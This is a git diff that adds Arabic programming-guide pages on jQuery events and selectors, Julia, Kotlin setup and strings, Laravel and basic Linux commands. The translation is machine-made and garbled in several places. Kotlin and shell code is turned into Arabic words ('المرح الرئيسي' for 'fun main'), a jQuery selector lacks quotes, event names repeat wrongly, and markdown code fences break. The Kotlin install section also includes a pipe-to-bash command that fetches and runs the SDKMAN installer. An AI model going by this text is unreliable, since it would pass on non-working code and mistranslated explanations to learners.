index 0000000000..efe329d0d3
--- /dev/null
+++ b/client/src/guide/arabic/jquery/jquery-event-method/index.md
@@ -0,0 +1,11 @@
+---
+title: jquery Event Method
+localeTitle: طريقة jquery للحدث
+---
+## طريقة jquery للحدث
+
+يتم استخدام هذه الطرق لتسجيل السلوكيات عندما يكون المستخدم يتفاعل مع المتصفح ، وللتعامل مع هذه السلوكيات المسجلة.
+
+#### معلومات اكثر:
+
+https://api.jquery.com/category/events/
\ No newline at end of file
diff --git a/client/src/guide/arabic/jquery/jquery-hover-method/index.md b/client/src/guide/arabic/jquery/jquery-hover-method/index.md
new file mode 100644
index 0000000000..a4e490b9be
--- /dev/null
+++ b/client/src/guide/arabic/jquery/jquery-hover-method/index.md
@@ -0,0 +1,16 @@
+---
+title: jQuery Hover Method
+localeTitle: طريقة jQuery Hover
+---
+# طريقة jQuery Hover
+
+طريقة `mouseenter` hover هي مزيج من أحداث `mouseleave` و `mouseleave` . بناء الجملة هو:
+
+ `$(selector).hover(inFunction, outFunction); 
+` 
+
+سيتم تشغيل الدالة الأولى ، inFunction ، عند حدوث حدث `mouseenter` . الوظيفة الثانية اختيارية ، ولكن سيتم تشغيلها عند `mouseleave` الحدث `mouseleave` . إذا تم تحديد وظيفة واحدة فقط، سيتم تشغيل وظيفة أخرى لكل من `mouseenter` و `mouseleave` الأحداث.
+
+### معلومات اكثر
+
+مزيد من المعلومات يمكن العثور عليها [هنا](https://www.w3schools.com/jquery/event_hover.asp) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/jquery/jquery-html-method/index.md b/client/src/guide/arabic/jquery/jquery-html-method/index.md
new file mode 100644
index 0000000000..221b09f8cc
--- /dev/null
+++ b/client/src/guide/arabic/jquery/jquery-html-method/index.md
@@ -0,0 +1,36 @@
+---
+title: HTML Method
+localeTitle: طريقة HTML
+---
# طريقة HTML
+
+تحصل طريقة Jquery `.html()` على محتوى عنصر HTML أو تقوم بتعيين محتوى عنصر HTML.
+
+## الحصول على
+
+لإرجاع محتوى عنصر HTML ، استخدم بناء الجملة هذا:
+
+ `$('selector').html(); 
+` 
+
+فمثلا:
+
+ `$('#example').html(); 
+` 
+
+## ضبط
+
+لتعيين محتوى عنصر HTML ، استخدم بناء الجملة هذا:
+
+ `$('selector').html(content); 
+` 
+
+فمثلا:
+
+ `$('p').html('Hello World!'); 
+` 
+
+سيؤدي ذلك إلى تعيين محتوى جميع عناصر `<p>` إلى Hello World!
+
+### معلومات اكثر
+
+[W3Schools](https://www.w3schools.com/jquery/html_html.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/jquery/jquery-mousedown-method/index.md b/client/src/guide/arabic/jquery/jquery-mousedown-method/index.md
new file mode 100644
index 0000000000..9cd6bd1ed3
--- /dev/null
+++ b/client/src/guide/arabic/jquery/jquery-mousedown-method/index.md
@@ -0,0 +1,19 @@
+---
+title: Mousedown Method
+localeTitle: طريقة موسى
+---
# طريقة موسى
+
+يحدث الحدث mousedown عند الضغط على زر الماوس الأيسر. لتشغيل حدث mousedown للعنصر المحدد ، استخدم بناء الجملة هذا: `$(selector).mousedown();`
+
+ومع ذلك ، في معظم الأحيان ، يتم استخدام طريقة mousedown مع وظيفة مرتبطة بحدث mousedown. وإليك بناء الجملة: `$(selector).mousedown(function);` فمثلا:
+
+ `$(#example).mousedown(function(){ 
+   alert("Example was clicked"); 
+ }); 
+` 
+
+سيعمل هذا الرمز على تنبيه الصفحة "تم النقر على مثال" عند النقر على #example.
+
+### معلومات اكثر
+
+مزيد من المعلومات يمكن العثور عليها [هنا](https://www.w3schools.com/jquery/event_mousedown.asp) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/jquery/jquery-selectors/index.md b/client/src/guide/arabic/jquery/jquery-selectors/index.md
new file mode 100644
index 0000000000..471edd1551
--- /dev/null
+++ b/client/src/guide/arabic/jquery/jquery-selectors/index.md
@@ -0,0 +1,121 @@
+---
+title: jQuery Selectors
+localeTitle: مختارات jQuery
+---
+## مختارات jQuery
+
+يستخدم jQuery محددات نمط CSS لتحديد أجزاء ، أو عناصر ، لصفحة HTML. ثم يتيح لك القيام بشيء ما مع العناصر باستخدام أساليب jQuery أو وظائف.
+
+لاستخدام أحد هذه المحددات ، اكتب علامة الدولار والأقواس بعدها: `$()` . هذا هو اختصار للدالة `jQuery()` . داخل الأقواس ، أضف العنصر الذي تريد تحديده. يمكنك استخدام إما أحادي أو مزدوج. بعد ذلك ، أضف نقطة بعد الأقواس والأسلوب الذي تريد استخدامه.
+
+في jQuery ، تكون أدوات اختبار فئة ومعرفات مثل تلك الموجودة في CSS.
+
+في ما يلي مثال لأسلوب jQuery يحدد جميع عناصر الفقرة ، ويضيف فئة "محددة" إليهم:
+
+ `<p>This is a paragraph selected by a jQuery method.</p> 
+ <p>This is also a paragraph selected by a jQuery method.</p> 
+ 
+ $("p").addClass("selected"); 
+` 
+
+في jQuery ، تكون محددات الفئة ومعرّف الهوية هي نفسها الموجودة في CSS. إذا كنت تريد تحديد عناصر بفئة معينة ، فاستخدم نقطة ( `.` ) واسم الفئة. إذا كنت تريد تحديد عناصر بمعرف معين ، فاستخدم رمز التجزئة ( `#` ) واسم المعرف. تجدر الإشارة إلى أن HTML ليس حساسًا لحالة الأحرف ، لذلك من الأفضل أن تظل علامات HTML ومتغيرات CSS صغيرة جدًا.
+
+الاختيار حسب الصف:
+
+ `<p class="p-with-class">Paragraph with a class.</p> 
+ 
+ $(".p-with-class").css("color", "blue"); // colors the text blue 
+` 
+
+التحديد حسب المعرّف:
+
+ `<li id="li-with-id">List item with an ID.</li> 
+ 
+ $("#li-with-id").replaceWith("<p>Socks</p>"); 
+` 
+
+يمكنك أيضًا تحديد عناصر معينة مع فئاتها ومعرفاتها:
+
+### اختيار حسب الفئة
+
+إذا كنت تريد تحديد عناصر بفئة معينة ، فاستخدم نقطة (.) واسم الفئة.
+
+ `
+<p class="pWithClass">Paragraph with a class.</p> 
+` 
+
+ `$(".pWithClass").css("color", "blue"); // colors the text blue 
+` 
+
+يمكنك أيضًا استخدام محدد الفئة مع اسم العلامة لتكون أكثر تحديدًا.
+
+ ``
+<ul class="wishList">My Wish List</ul>`<br> 
+`` 
+
+ `$("ul.wishList").append("<li>New blender</li>"); 
+` 
+
+### اختيار حسب الهوية
+
+إذا كنت تريد تحديد عناصر بقيمة معرف معينة ، فاستخدم رمز التجزئة (#) واسم المعرف.
+
+ `
+<li id="liWithID">List item with an ID.</li> 
+` 
+
+ `$("#liWithID").replaceWith("<p>Socks</p>"); 
+` 
+
+كما هو الحال مع محدد الصف ، يمكن استخدام هذا أيضًا مع اسم العلامة.
+
+ `
+<h1 id="headline">News Headline</h1> 
+` 
+
+ `$("h1#headline").css("font-size", "2em"); 
+` 
+
+### محددات تعمل كمرشحات
+
+هناك أيضًا محددات تعمل كمرشحات - وعادةً ما تبدأ بالنقطتين. على سبيل المثال ، يحدد الخيار `:first` العنصر الذي يكون الطفل الأول من أصله. فيما يلي مثال لقائمة غير مرتبة ببعض عناصر القائمة. يحدد محدد jQuery أسفل القائمة أول عنصر `<li>` في القائمة - عنصر القائمة "One" - ثم يستخدم طريقة `.css` لتحويل النص إلى اللون الأخضر.
+
+ `
+   <ul> 
+      <li>One</li> 
+      <li>Two</li> 
+      <li>Three</li> 
+   </ul> 
+` 
+
+ `$("li:first").css("color", "green"); 
+` 
+
+**ملاحظة:** لا تنس أن تطبيق css في JavaScript ليس ممارسة جيدة. يجب عليك دائمًا تقديم أنماطك في ملفات css.
+
+محدد التصفية الآخر ، `:contains(text)` ، يحدد العناصر التي تحتوي على نص معين. ضع النص الذي تريد مطابقته بين الأقواس. هنا مثال مع فقرتين. يأخذ محدد jQuery الكلمة "Moto" ويغير لونه إلى اللون الأصفر.
+
+ `
+    <p>Hello</p> 
+    <p>World</p> 
+` 
+
+ `$("p:contains('World')").css("color", "yellow"); 
+` 
+
+وبالمثل ، يحدد `:last` selector `:last` العنصر الأخير للطفل التابع له. يحدد محدد JQuery أدناه العنصر `<li>` الأخير في القائمة - عنصر القائمة "Three" - ثم يستخدم طريقة `.css` لتحويل النص إلى اللون الأصفر.
+
+`$("li:last").css("color", "yellow");`
+
+**ملاحظة:** في jQuery selector ، يكون `World` في علامات تنصيص مفردة لأنه موجود بالفعل داخل زوج من علامات الاقتباس المزدوجة. استخدم دائمًا علامات الاقتباس الأحادية داخل علامات اقتباس مزدوجة لتجنب إنهاء سلسلة بدون قصد.
+
+**اختيار متعددة** في jQuery ، يمكنك استخدام العديد من المحددات لتطبيق نفس التغييرات على أكثر من عنصر واحد ، باستخدام سطر واحد من التعليمات البرمجية. يمكنك القيام بذلك عن طريق فصل معرفات مختلفة بفاصلة. على سبيل المثال ، إذا كنت ترغب في تعيين لون الخلفية لثلاثة عناصر باستخدام ids cat و dog و rat على التوالي إلى اللون الأحمر ، فقم بذلك ببساطة:
+
+ `$("#cat,#dog,#rat").css("background-color","red"); 
+` 
+
+هذه ليست سوى عدد قليل من المحددات المتاحة للاستخدام في jQuery. راجع قسم "مزيد من المعلومات" للحصول على ارتباط إلى القائمة الكاملة على موقع jQuery على الويب.
+
+#### معلومات اكثر:
+
+*   [قائمة كاملة من محددات jQuery](http://api.jquery.com/category/selectors/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/julia/index.md b/client/src/guide/arabic/julia/index.md
new file mode 100644
index 0000000000..55bf477e4b
--- /dev/null
+++ b/client/src/guide/arabic/julia/index.md
@@ -0,0 +1,7 @@
+---
+title: Julia
+localeTitle: جوليا
+---
+## ما هي جوليا؟
+
+[جوليا](https://julialang.org) هو لغة برمجة عالية الأداء ، مكتوبة اختياريا تهدف إلى الحوسبة العلمية والعددية. ويضم المكتبات للجبر الخطي والتحسين الرقمي ومعالجة الإشارات والتعلم الآلي وغيرها. يستخدم الإرسال المتعدد ولديه LLVM backend و JIT. تم اختيار جوليا لاستخدامها في تطوير [نظام تجنب الاصطدام المحمول من الجيل التالي](https://juliacomputing.com/case-studies/lincoln-labs.html) للناقد الآمن [.](https://juliacomputing.com/case-studies/lincoln-labs.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/kotlin/hello-world/index.md b/client/src/guide/arabic/kotlin/hello-world/index.md
new file mode 100644
index 0000000000..fa97536b23
--- /dev/null
+++ b/client/src/guide/arabic/kotlin/hello-world/index.md
@@ -0,0 +1,56 @@
+---
+title: Hello World in Kotlin
+localeTitle: مرحبا العالم في Kotlin
+---
+برنامج Hello World هو برنامج بسيط للغاية يخرج السلسلة "Hello World!". وغالبًا ما يتم استخدامه لإظهار البنية الأساسية للغة البرمجة.
+
+سنقوم في هذا البرنامج التعليمي بتحليل تركيب برنامج Hello World المكتوب في Kotlin.
+
+إذا لم تقم بتثبيت Kotlin بعد ، فيجب عليك مراجعة هذا البرنامج التعليمي: https://guide.freecodecamp.org/kotlin
+
+## مرحبا بالبرنامج العالمي
+
+ `// This is a simple Hello World program written in Kotlin 
+ 
+ fun main(args : Array<String>) { 
+    println("Hello, World!") 
+ } 
+` 
+
+كما يجب أن تتوقع ، عند تشغيل هذا البرنامج يجب أن يكون الإخراج "Hello، World!".
+
+## بناء الجملة
+
+### تعليقات
+
+ `// This is a simple Hello World program written in Kotlin 
+` 
+
+التعليقات عبارة عن نص مكتوب بواسطة مطور تمت إضافته بغرض تسهيل فهم الكود من قِبل مطورين آخرين. في تعليقات Kotlin يمكن أن تكون التعليقات ذات سطر واحد (باستخدام //) أو تعليقات متعددة الخطوط (باستخدام / \*\* /).
+
+ `// Single line comment 
+ 
+ /* This is a 
+ Multi-line comment 
+ */ 
+` 
+
+### الوظيفة الأساسية
+
+ `fun main(args : Array<String>) {...} 
+` 
+
+الوظيفة الرئيسية هي وظيفة إلزامية تخبر المترجم حيث يجب أن يبدأ تنفيذ الكود الخاص بنا. يستغرق صفيفًا من السلاسل كمعلمة ويعيد نوع الوحدة الذي يتوافق مع نوع `void` في لغات مثل جافا. كما يمكننا أن نرى ، يتم الإعلان عن الوظائف باستخدام `fun` الكلمة الرئيسية ويجب كتابة جسمها داخل أقواس معقوفة.
+
+ستؤدي الدالات بدون نوع الإرجاع المعلن بشكل صريح إلى إرجاع `Unit` ، لذا ، فإن الشفرة المذكورة أعلاه تعادل
+
+ `fun main(args : Array<String>): Unit {...} 
+` 
+
+### بيان الطباعة
+
+تأخذ دالة println سلسلة كوسيطة وتطبعها على الشاشة. في هذه الحالة ، نحن نطبع السلسلة "Hello، World!". لاحظ أنه يتم تعريف القيم الحرفية السلسلة باستخدام علامات اقتباس مزدوجة `"String"` .
+
+إذا كنت ترغب في معرفة المزيد عن Kotlin Syntax والبدء في كتابة برامج رائعة ، فعليك التحقق من الوثائق الرسمية الرسمية الخاصة بكوتلين Kotlin: https://kotlinlang.org/docs/reference/
+
+أتمنى أن يعجبك هذا البرنامج التعليمي ، في صحتك
\ No newline at end of file
diff --git a/client/src/guide/arabic/kotlin/index.md b/client/src/guide/arabic/kotlin/index.md
new file mode 100644
index 0000000000..9505e30c39
--- /dev/null
+++ b/client/src/guide/arabic/kotlin/index.md
@@ -0,0 +1,164 @@
+---
+title: Kotlin
+localeTitle: Kotlin
+---
+**ما هو كوتلين؟**
+
+[Kotlin](https://kotlinlang.org/) هي لغة برمجة تم تطويرها بواسطة [Jetbrains](https://www.jetbrains.com) ، الشركة التي تقف وراء بعض IDEs الأكثر شهرة في العالم مثل IntelliJ و Pycharm.
+
+يعمل كبديل لجافا ويعمل على JVM. وقد تم تطويره لمدة تقرب من 6 سنوات وبلغ 1.0 قبل عام.
+
+احتضن مجتمع المطورين Kotlin إلى حد أن أعلنت Google عن دعم من الدرجة الأولى للغة لتطوير Android في [Google I / O 2017](https://blog.jetbrains.com/kotlin/2017/05/kotlin-on-android-now-official/) .
+
+## الإصدار
+
+حتى كتابة هذه السطور ، أحدث إصدار مستقر من Kotlin هو [الإصدار 1.2.71](https://blog.jetbrains.com/kotlin/2018/09/kotlin-1-2-70-is-out/)
+
+## التركيب
+
+قبل متابعة تعليمات تثبيت Kotlin ، يجب عليك التأكد من إعداد **JDK (Java Development Kit)** على النظام الخاص بك.
+
+إذا لم يكن لديك JDK مثبتًا على الكمبيوتر ، فانتقل إلى **قسم التثبيت** على [هذا الرابط لمعرفة](https://guide.freecodecamp.org/java) كيفية إعداده.
+
+يعمل Kotlin مع **JDK 1.6+** لذا تأكد من تثبيت الإصدار الصحيح. بمجرد الانتهاء من إعداد JDK ، اتبع الخطوات التالية.
+
+*   \## IntelliJ IDEA إن أسرع طريقة لتشغيل Kotlin على الأجهزة الخاصة بك هو استخدامه إلى جانب **IntelliJ IDEA** . هذا هو IDE المستحسنة لـ Kotlin بسبب دعم الأدوات التي توفرها Jetbrains. يمكنك الحصول على [النسخة المجتمعية](http://www.jetbrains.com/idea/download/index.html) من IntelliJ من [JetBrains](https://www.jetbrains.com) .
+
+بمجرد أن تقوم بتثبيت IntelliJ ، يمكنك البدء في مشروعك الأول في Kotlin بدون أي تهيئات إضافية.
+
+قم بإنشاء **مشروع جديد** وتأكد من تحديد Java Module. حدد خانة الاختيار Kotlin على تلك الشاشة
+
+![شاشة المشروع الجديد](https://kotlinlang.org/assets/images/tutorials/getting-started/new_project_step1.png)
+
+امنح مشروعك اسمًا وانقر على إنهاء.
+
+![اسم المشروع](https://kotlinlang.org/assets/images/tutorials/getting-started/project_name.png)
+
+سيتم نقلك الآن إلى المحرر الرئيسي حيث سترى ملفات مشروعك منظمة بالطريقة التالية.
+
+![هيكل المشروع](https://kotlinlang.org/assets/images/tutorials/getting-started/folders.png)
+
+من أجل التحقق من التثبيت ، قم بإنشاء ملف Kotlin جديد في المجلد **src** وقم بتسمية **التطبيق** (أو أي شيء آخر يناسبك)
+
+![هيكل المشروع](https://kotlinlang.org/assets/images/tutorials/getting-started/new_file.png)
+
+بمجرد إنشاء الملف ، اكتب رمز Hello World الشفوي التالي. لا تقلق إذا لم يكن ذلك منطقيًا على الفور ، فسيتم التعامل معه بالتفصيل لاحقًا في الدليل.
+
+\`\` \` المرح الرئيسي (args: Array ) { println ("مرحبًا بكم!") }
+
+ `![project structure ](https://kotlinlang.org/assets/images/tutorials/getting-started/hello_world.png) 
+ 
+ You can now run this program by either clicking on the Kotlin icon on the gutter (left side of your editor with line numbers) 
+ 
+ ![hello world ](https://kotlinlang.org/assets/images/tutorials/getting-started/run_default.png) 
+ 
+ If everything goes fine, you should see the message Hello World! in your Run window as shown below 
+ 
+ ![run window ](https://kotlinlang.org/assets/images/tutorials/getting-started/run_window.png) 
+ 
+ 
+ 
+ * ## Eclipse 
+ 
+ While IntelliJ is the recommended IDE for developing with Kotlin, it is definitely not the only option out there. **Eclipse** happens to be another popular IDE of choice among Java developers and Kotlin is supported by Eclipse as well. 
+ 
+ After setting up the **JDK** on your system, follow the instructions below. 
+ 
+ Download <a href='https://www.eclipse.org/downloads/'>**Eclipse Neon** </a>for your operating system and once you have successfully installed it on your system, download the **Kotlin Plugin** for Eclipse from the <a href='http://marketplace.eclipse.org/content/kotlin-plugin-eclipse'>**Eclipse Marketplace**</a>. 
+ 
+ ![eclipse marketplace ](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/marketplace.png) 
+ 
+ ***NOTE: You can also do the same by going into Help -> Eclipse Marketplace and then search for Kotlin Plugin*** 
+ 
+ Once, the plugin is installed you are pretty much done but it would be a good idea to take the IDE for a spin with a quick Hello World sample. 
+ 
+ Create a new Kotlin Project by clicking on File -> New -> Kotlin Project 
+ 
+ ![new kotlin project ](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/new-project.png) 
+ 
+ An empty project will be created with a directory structure quite similar to a Java project. It would look something like this 
+ 
+ ![empty kotlin project ](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/empty-project.png) 
+ 
+ Go ahead and create a new Kotlin file in the **src** folder 
+ 
+ Once that is done go ahead and type out the following code. Don't worry if it does not make sense right now, it will be covered later in the guide. 
+` 
+
+المرح الرئيسي (args: Array ) { println ("مرحبًا بكم!") }
+
+ `![eclipse hello world ](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/hello-world.png) 
+ 
+ Now that you are done typing out the Hello World code, go ahead and run it. To run the file, right click anywhere inside the editor and click on ***Run As -> Kotlin Application*** 
+ 
+ 
+ ![eclipse run app](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/run-as.png) 
+ 
+ If all goes well, the console window would open to show you the output. 
+ 
+ ![eclipse run app](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/output.png) 
+ 
+ * ## Using the standalone compiler on the terminal 
+ If you are someone who prefers doing things in a more manual way and do not want to tie yourself down to an editor/IDE you might wanna use the Kotlin compiler. 
+ 
+ ### Downloading the compiler 
+ 
+ With every release of Kotlin, Jetbrains ship a standalone compiler which can be downloaded from the <a href='https://github.com/JetBrains/kotlin/releases/tag/v1.1.51'>GitHub releases</a>. Version 1.1.51 happens to be the latest at the time of this writing. 
+ 
+ 
+ </br> 
+ 
+ **Manual Installation** 
+ 
+ Once you have downloaded the compiler you need to unzip it and proceed with the standard installation using the installation wizard. Adding the **bin** directory to the system path is an optional step. It contains the scripts that are necessary to compile and run Kotlin on Windows, Linux and macOS. 
+ 
+ </br> 
+ 
+ **Installation via Homebrew** 
+ 
+ You can install the compiler on macOS using <a href='http://brew.sh/'>Homebrew </a>which is a package manager for macOS. Launch the Terminal app and issue the following commands 
+` 
+
+تحديث الشراب $ $ brew install kotlin
+
+ `**Installation via SDKMAN!** 
+ 
+ Another simple way of installing the Kotlin compiler on macOS, Linux, Cygwin, FreeBSD and Solaris is by using <a href='http://sdkman.io/'>SDKMAN!</a>. Launch the terminal and issue the following commands 
+` 
+
+$ curl -s https://get.sdkman.io | bash\`\`\`
+
+اتبع التعليمات التي تظهر على الشاشة ومرة ​​واحدة SDKMAN! هي قضية الإعداد الأمر follwoing داخل المحطة
+
+`$ sdk install kotlin`
+
+كما هو الحال مع جميع خيارات التثبيت السابقة ، قد يكون من الجيد اختبار تشغيل التثبيت.
+
+فتح محرر نص من اختيارك وكتابة برنامج Kotlin الأساسي الواردة أدناه
+
+ `fun main(args: Array<String>) { 
+    println("Hello, World!") 
+ } 
+` 
+
+احفظ هذا الملف **بامتداد .kt** . أنت الآن على استعداد لتجميعها ورؤية النتائج. للقيام بذلك ، لإصدار الأمر التالي
+
+`$ kotlinc hello.kt -include-runtime -d hello.jar`
+
+يخبر الخيار `-d` المحول البرمجي ما تريد أن يتم استدعاء الإخراج. الخيار `-include-runtime` يجعل الملف .jar الناتج قائمًا بذاته ويتم تشغيله من خلال تضمين مكتبة وقت تشغيل Kotlin فيه.
+
+إذا لم تكن هناك أخطاء التحويل البرمجي ، قم بتشغيل التطبيق باستخدام الأمر التالي
+
+`$ java -jar hello.jar`
+
+إذا سارت الأمور على ما يرام ، يجب أن تشاهد **Hello World!** المطبوعة على شاشة المحطة الطرفية الخاصة بك
+
+ `$ java -jar hello.jar 
+ Hello, World! 
+` 
+
+تهانينا ، لقد قمت بإعداد مترجم Kotlin وتطوير بيئة بنجاح على نظامك. سنقوم بتغطية جميع التعقيدات والأجزاء الممتعة من Kotlin في هذا الدليل ، ولكن يمكنك الحصول على نقطة انطلاق إذا كنت تريد من خلال الذهاب إلى موقع [Try Kotlin](https://try.kotlinlang.org/) والانتقال من خلال التدريبات هناك.
+
+## كابل بيانات
+
+واحدة من أعظم الأشياء حول Kotlin هو وثائق شاملة ومنظمة بشكل جيد. حتى إذا كنت جديدًا في البرمجة ، فستجد نفسك في المنزل مباشرةً باستخدام المستندات. يفعلون وظيفة مدهشة في وضع كل شيء بطريقة منظمة بشكل جيد. يمكنك الاطلاع على الوثائق الرسمية على [هذا الرابط](https://kotlinlang.org/docs/reference/) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/kotlin/strings/index.md b/client/src/guide/arabic/kotlin/strings/index.md
new file mode 100644
index 0000000000..f0a9f3d4c8
--- /dev/null
+++ b/client/src/guide/arabic/kotlin/strings/index.md
@@ -0,0 +1,224 @@
+---
+title: Strings
+localeTitle: سلاسل
+---
+# سلاسل
+
+السلسلة هي نوع بيانات أساسي في لغة برمجة. يتم تمثيل `String` بالنوع `String` . سلاسل غير قابلة للتغيير. يحتوي Kotlin على واجهة برمجة تطبيقات غنية للعمل مع السلاسل.
+
+### الاستخدام الأساسي
+
+#### إعلان
+
+ `// Explicit type declaration 
+ var firstName : String = "Elon" 
+ 
+ // or Implicit type declaration and will still compile 
+ val lastName = "Musk" 
+` 
+
+بالإضافة إلى ذلك ، لاحظ استخدام نوع متغير `val` ، وهنا كيف تتصرف
+
+ `firstName = "Mark" // can be changed 
+ lastName = "Zuckerberg" // cannot be changed 
+ lastName = 12 // Error: type mismatch 
+` 
+
+#### سلسلة سلسلة
+
+تظهر في مقتطف الشفرة ، تمامًا مثل جافا ، إلحاق `Int` ستؤدي `String` إلى إخراج `String`
+
+ `var str = "abc" + 1 
+ println(str + "def") 
+` 
+
+انتاج:
+
+ `abc1def 
+` 
+
+حتى بدون تحويل قيمة `Int` 1 إلى كائن `String` أولاً ، لا يزال الإخراج الناتج عبارة عن `String` .
+
+#### سلسلة مع خطوط متعددة
+
+يمكن للمبرمجين الإعلان عن متغيرات `String` مع أسطر متعددة باستخدام علامات اقتباس ثلاثية بدلاً من علامات الاقتباس المزدوجة
+
+ `var str = """ 
+        This is line 1 
+        This is line 2 
+        This is line 3 
+        """ 
+ println(str) 
+` 
+
+انتاج:
+
+ `        This is line 1 
+        This is line 2 
+        This is line 3 
+` 
+
+أو مع `.trimIndent()`
+
+استخدام `trimIndent()` سيساعد بالإضافة إلى توفير تنسيق إخراج نظيف عن طريق إزالة indention الزائد و unrespour كل سطر. افحص مقتطف الشفرة أدناه:
+
+ `var str = """ 
+        This is line 1 
+        This is line 2 
+        This is line 3 
+        """.trimIndent() 
+ println(str) 
+` 
+
+انتاج:
+
+ `This is line 1 
+ This is line 2 
+ This is line 3 
+` 
+
+### الوصول إلى أحرف سلسلة
+
+#### مؤشر الوصول
+
+يمكن للمبرمجين الوصول إلى العناصر (الأحرف) لسلسلة باستخدام معامل الوصول إلى الفهرس:
+
+ `var str = "Example" 
+ println(str[2]) 
+` 
+
+انتاج:
+
+ `a 
+` 
+
+إنه مثل الوصول إلى عنصر من صفيف ، تحصل على:
+
+ `var str = "Example" 
+ println(str[9]) // Error: index out of bounds 
+` 
+
+#### تكرار عبر سلسلة
+
+عناصر السلسلة هي أحرف يمكن الوصول إليها بواسطة عملية الفهرسة: `s[i]` .
+
+ `var str = "Example" 
+ for (c in str) { 
+    println(c) 
+ } 
+` 
+
+انتاج:
+
+ `E 
+ x 
+ a 
+ m 
+ p 
+ l 
+ e 
+` 
+
+### ثبات سلسلة
+
+تمامًا مثل جافا ، لا يمكنك تغيير العناصر الفردية `String`
+
+ `var str = "Example" 
+ str[2] = "b" // Error 
+` 
+
+#### إعادة تعيين قيم السلسلة
+
+ `var str = "Example" 
+ println(str) 
+ str = "Example was changed" 
+ println(str) 
+` 
+
+انتاج:
+
+ `Example 
+ Example was changed 
+` 
+
+### خصائص سلسلة
+
+#### تحديد طول سلسلة
+
+ `var str = "Example" 
+ println(str.length) 
+` 
+
+انتاج:
+
+ `7 
+` 
+
+### وظائف سلسلة
+
+هذه بعض وظائف `String` الشائعة المتوفرة من إصدار Kotlin الحالي
+
+### قارن ب
+
+يقارن هذا الكائن بالعنصر المحدد للترتيب. يتم إرجاع الصفر إذا كان هذا الكائن مساويًا للكائن الآخر المحدد ، أو رقم سالب إذا كان أقل من رقم آخر ، أو رقم موجب إذا كان أكبر من الآخر.
+
+ `var str = "Example" 
+ var str2 = "Example123" 
+ var str3 = "Example12345" 
+ println(str.compareTo(str2)) 
+ println(str.compareTo(str3)) 
+ println(str3.compareTo(str)) 
+ println(str.compareTo("Example")) 
+` 
+
+انتاج:
+
+ `-3 
+ -5 
+ 5 
+ 0 # Equal 
+` 
+
+### يساوي
+
+يشير إلى ما إذا كان كائن `String` يساوي تمامًا كائن `String` آخر
+
+ `var str = "Example" 
+ var str2 = "Example2" 
+ println(str.equals("Example")) 
+ println(str2.equals("Example")) 
+` 
+
+انتاج:
+
+ `true 
+ false 
+` 
+
+### احصل على
+
+إرجاع الحرف في الفهرس المحدد في تسلسل الأحرف هذا.
+
+"" كوتلن var str = "مثال" println (str.get (3))
+
+ `Output: 
+` 
+
+الصدف م
+
+ `### toString 
+ 
+ Returns a string representation of the object. 
+` 
+
+kotlin println (9. toString () + 10) println (9 + 10)
+
+ `Output: 
+` 
+
+الصدف "910" 19 \`\` \`
+
+#### مصادر
+
+*   [Kotlin Basic Types](https://kotlinlang.org/docs/reference/basic-types.html)
+*   [مرجع سلسلة Kotlin](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-string/index.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/laravel/index.md b/client/src/guide/arabic/laravel/index.md
new file mode 100644
index 0000000000..3cb0ceb21d
--- /dev/null
+++ b/client/src/guide/arabic/laravel/index.md
@@ -0,0 +1,9 @@
+---
+title: Laravel
+localeTitle: لارافل
+---
+# لارافل
+
+Laravel هو إطار عمل PHP مجاني ومفتوح المصدر متاح على [GitHub](https://github.com/laravel/laravel) ومرخص بموجب شروط MIT License. تم إنشاؤه من قبل تايلور أوتول الذي صممه مع القدرة على تمكين تطوير تطبيقات الويب التي تتبع النموذج المعماري للتحكم في الرؤية (MVC) وهو الآن أكثر إطار عمل بي اتش بي على جيثب. بعض الميزات الرئيسية الموجودة في Laravel هي طرق مختلفة للوصول إلى قواعد البيانات العلائقية ، والأدوات المساعدة التي تساعد في نشر التطبيقات وصيانتها وعلى نظام التغليف المعياري الأخير وليس على الأقل مع مدير تبعية مخصص.
+
+نظرًا لأن Laravel مفتوح المصدر ، فالمجتمع من حوله قوي جدًا ، وكذلك الوثائق التي يمكنك من خلالها تعلم كيفية القيام بكل شيء تقريبًا ، حاول إلقاء نظرة على [وثائق Laravel](https://laravel.com/docs/5.7/) للحصول على لمحة عن قوة المصدر المفتوح!
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/10-simple-and-useful-linux-commands/index.md b/client/src/guide/arabic/linux/10-simple-and-useful-linux-commands/index.md
new file mode 100644
index 0000000000..2cf916506d
--- /dev/null
+++ b/client/src/guide/arabic/linux/10-simple-and-useful-linux-commands/index.md
@@ -0,0 +1,48 @@
+---
+title: 10 Simple and Useful Linux Commands
+localeTitle: 10 أوامر لينكس بسيطة ومفيدة
+---
+# 10 أوامر لينكس بسيطة ومفيدة
+
+الأوامر المذكورة هنا أساسية ، وسوف تساعدك على البدء بسرعة. ولكنها أيضًا قوية ، وستستمر في كونها مفيدة مع توسع خبرتك في Linux.
+
+1.  `echo` هذا يأخذ النص الذي تعطيه ويرسله إلى مكان ما - للرجوع إلى الشاشة ، إلى ملف ، أو إلى أمر آخر. مثال: `echo "hello!"`
+2.  `cat` لعرض محتويات ملف نصي ، اكتب `cat myfile` فقط.
+3.  `find` أنها تفعل ما تقول ، وهي جيدة في ذلك. استخدمه لتحديد موقع الملفات حسب المسار والحجم والتاريخ والمالك وحفنة من الفلاتر المفيدة الأخرى. مثال: `find . -type f -mtime -1h # List files in this directory modified in the past hour` .
+4.  `date` فقط اكتب التاريخ عندما تريد أن تعرف ما هو الوقت. مثال: `date "+It's %l:%m%p on %A"` . استخدمه في برنامج نصي لتسمية الملفات وفقًا للتاريخ الحالي.
+5.  `ls` ما هو في هذا الدليل؟ ضم `ls` مع بعض علامات مفيدة لعرض محتويات الدليل وفرزها حسب التاريخ والحجم. كما أنه يوفر لك الكثير من الخيارات لتنسيق الإخراج.
